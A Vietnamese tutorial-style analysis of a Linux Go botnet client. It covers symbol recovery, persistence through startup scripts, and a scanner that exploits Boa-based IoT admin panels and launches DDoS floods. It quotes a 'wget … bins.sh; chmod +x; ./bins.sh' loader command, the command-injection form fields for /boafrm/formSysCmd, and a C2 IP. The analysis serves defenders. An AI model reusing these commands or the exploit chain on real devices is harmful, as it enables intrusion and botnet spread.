Phân tích malware Linux viết bằng Golang

Giới thiệu

Tôi gần đây có nhận được một mẫu malware từ một bạn trẻ, muốn tôi phân tích giúp. Đúng là một cơ hội tuyệt vời để tôi có thể đưa những kiến thức cơ bản nhất của việc phân tích malware dưới dạng những hướng dẫn thực tế, giúp các bạn có phương pháp đơn giản và dễ tiếp cận nhất khi mới bắt đầu.

Cần chuẩn bị những gì?

Để làm một “task” liên quan tới Reverse Engineering thì cần chuẩn bị 2 thứ:

  • Bộ công cụ phân tích malware:
    • Chúng ta cần chuẩn bị các chương trình phân tích tĩnh: IDA Pro, Ghidra và Binary Ninja (Binja) - ba công cụ dịch ngược (disassembler/decompiler) đỉnh cao nhất hiện nay
    • Các công cụ phân tích động, chính là các debugger, ví dụ như x64dbg hay gdb…
  • Một mẫu malware nào đó

Mẫu malware

https://www.virustotal.com/gui/file/578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6

Mẫu malware

Nhận xét nhanh thì đây là một mẫu mã độc (malware) trên linux:

1
2
3
4
5
6
7
8
9
SHA-256: 578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6

Vhash: 83b7e04a4a6d626d7dd712758613d1d5

File type: ELF, executable, linux, elf

Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=SXo9fcU4f_47pquyp6c9/kDE08I6veCQfKraEBS8a/cFwQM5rzvWCTi1sIe7tS/QqEt0bDlaJefPO8ud-0o, stripped

File size: 4.45 MB (4669440 bytes)

Chú ý rằng kích thước file này cũng tương đối lớn với một malware. Có thể đoán rằng trong file này có thể chứa cả các thư viện runtime của framework chăng?

Phân tích nhanh với IDA Pro

Load file ELF này vào IDA Pro, có thể nhận thấy một đặc điểm thú vị: file này không bị pack, entropy của file ở mức trung bình thấp và chứa các từ khóa liên quan tới Golang.

Function Name

Phân tích mã độc Linux được viết bằng Golang (không pack/không nén obfuscate nặng bằng các công cụ như UPX) luôn là một thử thách đặc thù. Do Go biên dịch tĩnh (Statically Linked) và tích hợp sẵn toàn bộ Go Runtime bên trong, một file ELF thông thường sẽ rất nặng (vài MB trở lên) và chứa lượng hàm khổng lồ của hệ thống khiến đồ thị luồng điều khiển (Control Flow Graph - CFG) bị loãng.

Tuy nhiên, Go không thể xóa hoàn toàn thông tin cấu trúc dữ liệu. Cho dù mẫu mã độc đã bị strip hết symbol, Go Runtime vẫn bắt buộc phải giữ lại siêu dữ liệu (metadata) trong các phân đoạn như .gopclntab (Go Program Counter Line Table) và .typelink để phục vụ cho tính năng reflection, stack traces và garbage collection.

Tôi nghĩ ngay đến việc dùng GoReSym (của Mandiant) để khôi phục lại toàn bộ tên hàm gốc, các package đi kèm, định nghĩa kiểu (type) và ánh xạ lại chúng vào disassembler. Trong hướng dẫn của GoReSym cũng đã nói rất rõ cách sử dụng:

Trước tiên, cần extract các thông tin về symbol đang lưu trong file thực thi.

GoReSym.exe -t -d -p /path/to/input > golang.symbol.json

Sau đó, dùng script goresym_rename.py của GoReSym để import chúng vào IDA database.

main

Sau khi import thông tin bổ sung, chúng ta tập trung vào các entrypoint của chương trình. Có thể lưu tâm 2 entrypoint sau:

  • main.init: Go cho phép mỗi file source code có một hàm init() tự động chạy trước cả hàm main.main. Mã độc Linux rất hay lợi dụng hàm này để kiểm tra môi trường (Anti-Sandbox, Anti-VM) hoặc thiết lập tính năng ẩn mình trước khi kích hoạt payload chính.

  • main.main: Hàm bắt đầu của một chương trình Go.

  • runtime.newproc: Hàm tạo một Goroutine mới, tương đương với việc tạo một luồng thực thi song song. Chúng ta cần kiểm tra tham số truyền vào hàm này để biết hàm tiếp theo nào sẽ được chạy ngầm.

Phân tích hành vi của mã độc

Đến lúc này, các bước chuẩn bị đã xong, chúng ta sử dụng logic của mình để bắt đầu bóc tách xem mã độc này làm những gì.

Trước hết, cần chốt lại một quan sát quan trọng: trong cơ sở dữ liệu IDA đã khôi phục symbol, không thấy xuất hiện main.init hay các biến thể kiểu main.init.*. Điều đó không chứng minh tuyệt đối rằng mẫu không có logic khởi tạo sớm, nhưng trong phạm vi triage hiện tại, phần hành vi dễ quan sát và có giá trị nhất tập trung gần như hoàn toàn trong main.main.

1. main.main

Từ main.main, mẫu mã độc thực hiện một chuỗi hành vi rất rõ ràng.

  • Việc đầu tiên là gọi main.AutoStart(). Tới đây ta không còn phải đoán nữa, vì nhánh này thực sự triển khai cơ chế persistence khá rõ ràng.

  • Ngay sau đó, chương trình sử dụng sẵn địa chỉ Command & Control Server (C2) hard-code là 192.142.55.159 và cổng 9111.
  • Tiếp theo, nó tạo một goroutine đầu tiên thông qua runtime.newproc, với target là main.main.func3.
  • Sau khi khởi tạo luồng nền, mã độc đi vào vòng lặp thử kết nối TCP liên tục tới máy chủ điều khiển, đồng thời in ra chuỗi trạng thái Connecting to CNC....
  • Khi kết nối thành công, nó in Connected to CNC! và bắt đầu phiên làm việc với C2.

Chuỗi hành vi này cho thấy đây không phải là một dropper đơn giản chạy một lần rồi thoát. Nó được thiết kế như một bot hoạt động dài hạn: tồn tại lâu dài trong hệ thống, giữ liên lạc với máy chủ điều khiển, và chờ lệnh tiếp theo.

1.1. main.AutoStart() persistence như thế nào?

Phân tích sâu hơn main.AutoStart() cho thấy cơ chế persistence của mẫu gồm hai giai đoạn riêng biệt.

Giai đoạn 1: tự copy chính nó sang một đường dẫn giống binary hệ thống

Trước hết, malware gọi os.Executable() để lấy đường dẫn file thực thi hiện tại. Sau đó nó thử khả năng ghi file tại một số thư mục sau bằng cách tạo file tạm test_write:

  • /usr/bin/
  • /data/local/tmp/
  • /tmp/
  • /var/run/

Cách làm ở đây rất thực dụng: thư mục nào ghi được thì chọn luôn. Sau khi chọn được vị trí phù hợp, nó xóa file test_write, rồi dựng đường dẫn đích có tên cuối là sysd, ví dụ như /usr/bin/sysd. Nếu toàn bộ các đường dẫn trên đều không ghi được, mẫu sẽ fallback về ./sysd trong thư mục làm việc hiện tại.

Nếu file thực thi hiện tại chưa nằm đúng ở vị trí đích đó, malware sẽ mở chính binary của nó, copy sang đường dẫn mới, rồi gọi chmod để đặt quyền thực thi ở mức 0777.

Ý nghĩa của bước này khá rõ:

  • mẫu tự nhân bản chính nó sang một vị trí dễ được gọi lại sau này,
  • tên sysd được chọn để trông giống một tiến trình hay daemon hệ thống,
  • và việc cấp quyền 0777 giúp bảo đảm binary mới có thể được chạy lại dễ dàng.

Đây là kiểu ngụy trang rất cơ bản nhưng hiệu quả với các hệ thống Linux bị cấu hình lỏng lẻo hoặc đã bị chiếm quyền trước đó.

persistence

Giai đoạn 2: chèn lệnh khởi động vào các script startup có sẵn

Sau khi xác định được đường dẫn persistence, hàm main.AutoStart() dựng chuỗi lệnh theo dạng:

1
<duong_dan_toi_sysd> &

Ký tự & cho thấy tác giả muốn tiến trình được chạy nền mỗi khi script khởi động được thực thi.

Tiếp theo, malware kiểm tra nhiều file startup kiểu cũ trên Linux. Nếu file tồn tại và chưa chứa chuỗi sysd, nó sẽ append thêm một dòng gọi thực thi malware.

Các file bị nhắm tới gồm:

  • /etc/rc.local
  • /etc/rc.d/rc.local
  • /etc/init.d/boot.local
  • /etc/profile
  • /root/.bashrc
  • /home/user/.bashrc

Cơ chế này cho thấy tác giả không dùng persistence kiểu systemd service hiện đại, mà chọn cách đơn giản hơn: lợi dụng các script khởi động hệ thống và shell profile truyền thống.

Điều này mang lại cho malware hai cơ hội sống lại:

  • được thực thi khi máy boot lên thông qua các file như rc.local hoặc boot.local,
  • hoặc được thực thi khi người dùng/root mở shell mới thông qua .bashrc hay /etc/profile.

persistence

Từ góc nhìn phân tích hành vi, main.AutoStart() là một nhánh rất “đời thường” nhưng đáng chú ý vì nó không cố tỏ ra tinh vi:

  • không cần cài service mới,
  • không cần sửa crontab phức tạp,
  • không cần thêm module kernel hay rootkit,
  • chỉ cần copy binary sang tên sysd rồi chèn một dòng vào các script startup sẵn có.

Chính sự đơn giản này lại khiến nó phù hợp với nhiều môi trường Linux khác nhau, đặc biệt là các máy cấu hình kém chặt chẽ, thiết bị IoT, VPS bị chiếm quyền hoặc hệ thống admin ít theo dõi các file khởi động truyền thống.

2. Cơ chế tự duy trì kết nối với C2

Một chi tiết rất đáng chú ý là sau khi kết nối thành công, mẫu mã độc đăng ký một callback bằng time.AfterFunc với mốc thời gian 120 giây. Hàm callback tương ứng là main.main.func1, và chuỗi log liên quan là Auto-reconnecting (120s limit)....

Điều này cho thấy malware có tư duy vận hành khá thực dụng:

  • nếu phiên kết nối treo quá lâu hoặc gặp sự cố,
  • nó sẽ chủ động kích hoạt logic ngắt/kết nối lại,
  • từ đó duy trì kênh điều khiển ổn định với hạ tầng C2.

c2

Ngoài timer callback, main.main còn chạy thêm một goroutine khác trỏ tới main.main.func4. Tác giả tách riêng phần giao tiếp mạng ra khỏi luồng điều khiển chính để bot vừa nghe lệnh vừa tiếp tục duy trì vòng đời kết nối.

Khi socket bị đóng, malware hiển thị Disconnected from CNC. rồi quay về vòng lặp kết nối lại.

3. Luồng scanner / loader chạy song song

Goroutine đầu tiên được tạo từ main.main dẫn tới main.main.func3, và hàm này gọi main.StartScanner(...). Đây là một pivot rất quan trọng vì nó cho thấy mẫu không chỉ chờ lệnh DDoS, mà còn có nhánh hoạt động riêng theo kiểu scanner/loader.

Phân tích main.StartScanner cho thấy hàm này dựng URL theo mẫu:

1
http://%s/bins.sh

Sau đó, malware tạo một lệnh shell hoàn chỉnh:

1
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

Rồi in ra log:

1
Scanner started. Payload (Loader):

Nghĩa là bot có khả năng tải một shell script từ máy chủ từ xa, cấp quyền thực thi cho script đó rồi chạy trực tiếp trên máy nạn nhân. Đây là dấu hiệu điển hình của một tầng loader: mã Golang đóng vai trò initial access, còn payload kế tiếp được phân phối động dưới dạng script.

Điểm đáng nói hơn là main.StartScanner lặp 100 lần, và ở mỗi vòng lặp lại gọi runtime.newproc để tạo một worker main.StartScanner.func1. Ban đầu nhìn qua thì rất dễ nghĩ rằng mỗi worker chỉ đơn thuần tải bins.sh. Nhưng khi lần theo sâu hơn vào main.StartScanner.func1, có thể thấy đây thực chất là cả một pipeline quét - khai thác - triển khai payload hoàn chỉnh.

3.1. main.StartScanner.func1 thực sự làm gì?

Mỗi worker chạy trong một vòng lặp vô hạn với nhịp hoạt động khá đều:

  1. gọi main.generateRandomIP() để sinh IP mục tiêu ngẫu nhiên,
  2. chuyển IP đó vào main.exploitDevice(...),
  3. sleep khoảng 100000000 ns tức xấp xỉ 100 ms,
  4. rồi lặp lại.

Điều này có nghĩa là 100 goroutine không phải 100 downloader thụ động, mà là 100 worker tự đi săn mục tiêu trên mạng theo kiểu random scan. Trong điều kiện lý tưởng, mỗi worker có thể thử khoảng 10 mục tiêu mỗi giây, tất nhiên còn phụ thuộc timeout mạng và độ trễ phản hồi từ nạn nhân.

3.2. Giai đoạn fingerprint: tìm thiết bị chạy Boa

Bên trong main.exploitDevice(...), bước đầu tiên là gọi main.findDevice(). Hàm này mở kết nối TCP tới IP vừa sinh, gửi một request HTTP rất đơn giản:

1
2
3
GET / HTTP/1.1
Host: <target>
User-Agent: Hello World

Sau đó nó đọc response và kiểm tra xem header có chứa chuỗi Server: Boa hay không.

Đây là một chi tiết cực kỳ quan trọng. Nó cho thấy scanner không quét bừa để tìm bất kỳ web server nào, mà đang chủ đích nhắm vào các thiết bị nhúng/IoT hoặc router dùng Boa HTTP server. Nói cách khác, đây là một bộ lọc nạn nhân ngay từ đầu.

3.3. Kiểm tra lộ file cấu hình config.dat

Nếu mục tiêu trông giống thiết bị phù hợp, main.exploitDevice(...) gọi tiếp main.confCheck(). Ở nhánh này, malware gửi request:

1
2
3
GET /config.dat HTTP/1.1
Host: <target>
User-Agent: Hello World

Rồi kiểm tra response có đồng thời thỏa hai điều kiện hay không:

  • HTTP/1.1 200 OK
  • Content-Disposition: attachment

Nghĩa là malware đang thử xác minh xem thiết bị có làm lộ file cấu hình config.dat dưới dạng tệp tải về hay không. Đây là một pattern rất quen thuộc ở nhiều thiết bị mạng/IoT cấu hình yếu: file export cấu hình có thể bị tải xuống mà không cần kiểm soát truy cập chặt chẽ.

3.4. Chuỗi khai thác credential và đăng nhập

Nếu config.dat có thể truy cập, worker đi tiếp vào chuỗi hàm liên quan tới thông tin xác thực:

  • main.getCredLeak()
  • tùy trường hợp có thêm main.findCaptcha() / main.getCaptcha()
  • main.loginDeviceCaptcha() hoặc main.loginDevice()
  • có thể thêm main.getAdminCredLeak() rồi đăng nhập lại lần nữa

Luồng này cho thấy mục tiêu của mã độc không chỉ là fingerprint banner. Nó cố trích xuất thông tin đăng nhập, xử lý cả trường hợp giao diện có CAPTCHA, sau đó đăng nhập vào web admin của thiết bị. Nếu quyền hiện tại chưa đủ mạnh, nó còn thử nhánh lấy credential quản trị rồi leo tiếp lên mức admin.

Nói ngắn gọn: đây là một exploit chain thực dụng dành riêng cho các web admin panel dựa trên Boa.

3.5. Quyết định payload và lạm dụng chức năng thực thi lệnh

Sau khi đăng nhập thành công và xác nhận có khả năng chạy lệnh, main.exploitDevice(...) gọi main.decideInfectPayload(). Hàm này gọi tiếp main.findSysCmd() để xác định kiểu giao diện thực thi lệnh trên thiết bị, rồi chọn một trong hai nhánh:

  • main.syscmdPing() khi mode là 1
  • main.syscmdPingToto() khi mode là 2

Điểm mấu chốt ở đây là malware không dừng ở mức chiếm được thông tin đăng nhập. Nó còn cố tận dụng tính năng “system command” trên giao diện quản trị để đẩy lệnh shell thực tế sang thiết bị nạn nhân.

Biến thể 1: chèn lệnh qua trường ping

Ở nhánh main.syscmdPing(), malware gửi POST tới endpoint:

1
/boafrm/formSysCmd

Payload form có các trường đáng chú ý như:

  • sysCmdType=ping
  • sysCmd=-c+4%3B<loader-command>
  • apply=Apply
  • submit-url=%2Fsyscmd.htm

c2

Về mặt ý tưởng, tác giả đã lợi dụng trường ping để nhét thêm chuỗi lệnh shell phía sau -c 4;. Đây là kiểu command injection rất điển hình: giao diện nghĩ rằng nó đang chạy một lệnh ping bình thường, nhưng thực tế phần sau dấu ; sẽ kéo theo loader command.

Biến thể 2: ghi lệnh trực tiếp vào ô chạy command

Ở nhánh main.syscmdPingToto(), malware vẫn POST tới /boafrm/formSysCmd, nhưng tham số có layout khác:

  • submit-url=%2Fsyscmd.htm
  • sysCmdselect=5
  • sysCmdselects=0
  • save_apply=Run+Command
  • sysCmd=<loader-command>

Nhánh này có vẻ nhắm tới một biến thể giao diện quản trị khác, nơi lệnh có thể được đưa trực tiếp vào trường Run Command thay vì lách qua tính năng ping.

Trong cả hai trường hợp, malware đều kiểm tra response xem có xuất hiện chuỗi syscmd.htm hay không để coi như dấu hiệu triển khai thành công.

3.6. Vậy từng worker đang làm gì trên thực tế?

Ghép toàn bộ chuỗi lại, một worker main.StartScanner.func1 sẽ làm các bước sau:

  1. sinh IP ngẫu nhiên,
  2. kiểm tra xem mục tiêu có phải thiết bị dùng Boa hay không,
  3. thử truy cập /config.dat,
  4. lấy hoặc lạm dụng credential,
  5. đăng nhập vào web admin,
  6. dò khả năng thực thi lệnh hệ thống,
  7. đẩy một loader command tới /boafrm/formSysCmd,
  8. buộc thiết bị tải bins.sh, cấp quyền thực thi và chạy nó,
  9. nghỉ 100 ms rồi tiếp tục với IP kế tiếp.

Như vậy, main.StartScanner.func1 không phải là worker tải file đơn giản. Nó là một worker hoàn chỉnh kiểu compromise-and-deploy: vừa quét ngẫu nhiên, vừa fingerprint thiết bị IoT dùng Boa, vừa khai thác lộ lọt cấu hình/credential, rồi cuối cùng cài payload sang nạn nhân.

Khi nhìn lại main.StartScanner dưới góc này, ta thấy cụm 100 goroutine không chỉ nhằm “tăng tốc scan”, mà là để song song hóa toàn bộ quy trình xâm nhập và phát tán malware trên diện rộng. Đây là lý do nên coi mẫu này là bot DDoS có tích hợp scanner/loader chủ động, chứ không chỉ là một client chờ lệnh từ C2.

4. Cơ chế nhận lệnh từ máy chủ điều khiển

Sau khi có kết nối sống tới C2, socket được bọc trong một scanner để đọc dữ liệu theo từng dòng. Dữ liệu nhận về được parse token bằng strings.Fields, nghĩa là giao thức điều khiển ở đây khá đơn giản: operator gửi một dòng lệnh dạng text, bot parse tham số theo khoảng trắng rồi quyết định chạy nhánh nào.

Thiết kế này thường gặp ở botnet nhỏ hoặc các mẫu malware được viết với mục tiêu triển khai nhanh:

  • dễ sửa phía server,
  • dễ thêm lệnh mới,
  • và ít tốn công xây dựng giao thức nhị phân phức tạp.

Sau khi parse xong, chương trình không thực thi trực tiếp ngay trong luồng đọc socket mà tiếp tục spawn goroutine cho từng tác vụ tấn công. Đây là một quyết định hợp lý từ góc nhìn của tác giả malware: bot vẫn giữ được khả năng nhận lệnh mới trong khi các đợt flood đang chạy nền.

c2

5. Các tính năng tấn công DDoS

Từ các target được sinh ra qua runtime.newproc và logic dispatch trong main.main, có thể thấy mẫu hỗ trợ khá nhiều mode tấn công khác nhau. Các tên hàm phục hồi được cho ta một bức tranh khá rõ:

  • main.main.func5: UDP attack
  • main.main.func6: HEX attack
  • main.main.func7: TLS attack
  • main.main.func8: PPS raw-style flood
  • main.main.func9: TLS+ Direct attack
  • main.main.func10: TLS+ Proxy attack
  • main.main.func11: nhánh attack được kích hoạt bởi biến thể lệnh có 6 trường
  • main.main.func12: TCP attack
  • main.main.func13: OVH attack
  • main.main.func14: STD attack
  • main.main.func15: GAME attack
  • main.main.func16: PRIV7 POST attack
  • main.main.func17: FORT attack
  • main.main.func18: PING attack
  • main.main.func19: NTP amplification attack

Ngoài ra, các cross-reference còn cho thấy liên hệ tới các method có tên như Botnet_Methods.UdpFlood, Botnet_Methods.TLSFlood, Botnet_Methods.TLSPlusFlood, Botnet_Methods.TLSPlusBypassFlood, Botnet_Methods.NtpAmp, Botnet_Methods.GameFlood, Botnet_Methods.FortAttack hay Botnet_Methods.Priv7Flood.

Dựa vào naming convention cũng đủ thấy mục tiêu của mẫu là cung cấp cho operator nhiều profile flood khác nhau, bao gồm:

  • tấn công tầng vận chuyển như UDP/TCP,
  • tấn công dựa trên TLS,
  • các biến thể flood nhắm theo ứng dụng hoặc dịch vụ cụ thể,
  • và cả amplification thông qua NTP.

Đây là tập năng lực tương đối đa dạng, vượt xa một PoC đơn giản. Nó phản ánh một botnet client đã được đóng gói để phục vụ tác chiến DDoS thực dụng.

6. IoC và chuỗi hành vi tổng quát

Trong phạm vi mẫu đang xét, các IoC nổi bật nhất là:

  • C2 IP: 192.142.55.159
  • C2 port: 9111
  • Tên file persistence: sysd
  • Các thư mục mà malware thử copy tới: /usr/bin/, /data/local/tmp/, /tmp/, /var/run/
  • Các file startup bị nhắm tới: /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc, /home/user/.bashrc
  • Chuỗi fingerprint mục tiêu: Server: Boa
  • Đường dẫn kiểm tra lộ cấu hình: /config.dat
  • Endpoint bị lạm dụng để thực thi lệnh: /boafrm/formSysCmd
  • Dấu hiệu phản hồi thành công sau khai thác: syscmd.htm
  • Các chuỗi log: Connecting to CNC..., Connected to CNC!, Disconnected from CNC., Auto-reconnecting (120s limit)..., Scanner started. Payload (Loader):

Ghép tất cả lại, ta có thể mô tả hành vi tổng quát của mẫu theo thứ tự như sau:

  1. Thiết lập persistence qua main.AutoStart() bằng cách tự copy thành sysd và chèn lệnh chạy vào các file startup.
  2. Kích hoạt 100 worker scanner/loader chạy song song để quét IP ngẫu nhiên.
  3. Fingerprint các thiết bị dùng Boa, kiểm tra lộ config.dat, rồi khai thác credential và web admin nếu khả thi.
  4. Lạm dụng /boafrm/formSysCmd để đẩy loader command tải và chạy bins.sh trên nạn nhân.
  5. Đồng thời duy trì kết nối tới C2 hard-code 192.142.55.159:9111.
  6. Chờ và phân tích lệnh dạng text gửi từ operator.
  7. Spawn các goroutine tương ứng để thực hiện nhiều kiểu DDoS khác nhau.
  8. Nếu mất kết nối thì tự động thử tái kết nối để tiếp tục vòng đời bot.

7. Kết luận

Với các bằng chứng hiện có, đây là một mẫu Go botnet client dành cho Linux, tích hợp đồng thời hai vai trò:

  • một agent duy trì kết nối thường trực với máy chủ điều khiển,
  • và một thành phần scanner/loader chủ động có khả năng quét, khai thác và triển khai payload sang thiết bị khác.

Điểm mạnh của mẫu không nằm ở kỹ thuật che giấu quá tinh vi, mà nằm ở kiến trúc vận hành đơn giản nhưng hiệu quả: dùng goroutine để đẩy mạnh tính song song, giữ kết nối C2 bền bỉ, và sẵn sàng nhận lệnh flood theo nhiều biến thể khác nhau. Điểm quan trọng nhất sau khi lần sâu vào main.StartScanner.func1 là: đây không phải một downloader thông thường, mà là một worker xâm nhập hoàn chỉnh nhắm vào các thiết bị web admin dùng Boa. Với người mới học malware analysis, đây là một ví dụ rất tốt để thấy rằng chỉ cần lần đúng main.main, runtime.newproc, các chuỗi hạ tầng cứng và các hàm worker chính là đã có thể dựng lại gần như toàn bộ hành vi cốt lõi của mẫu.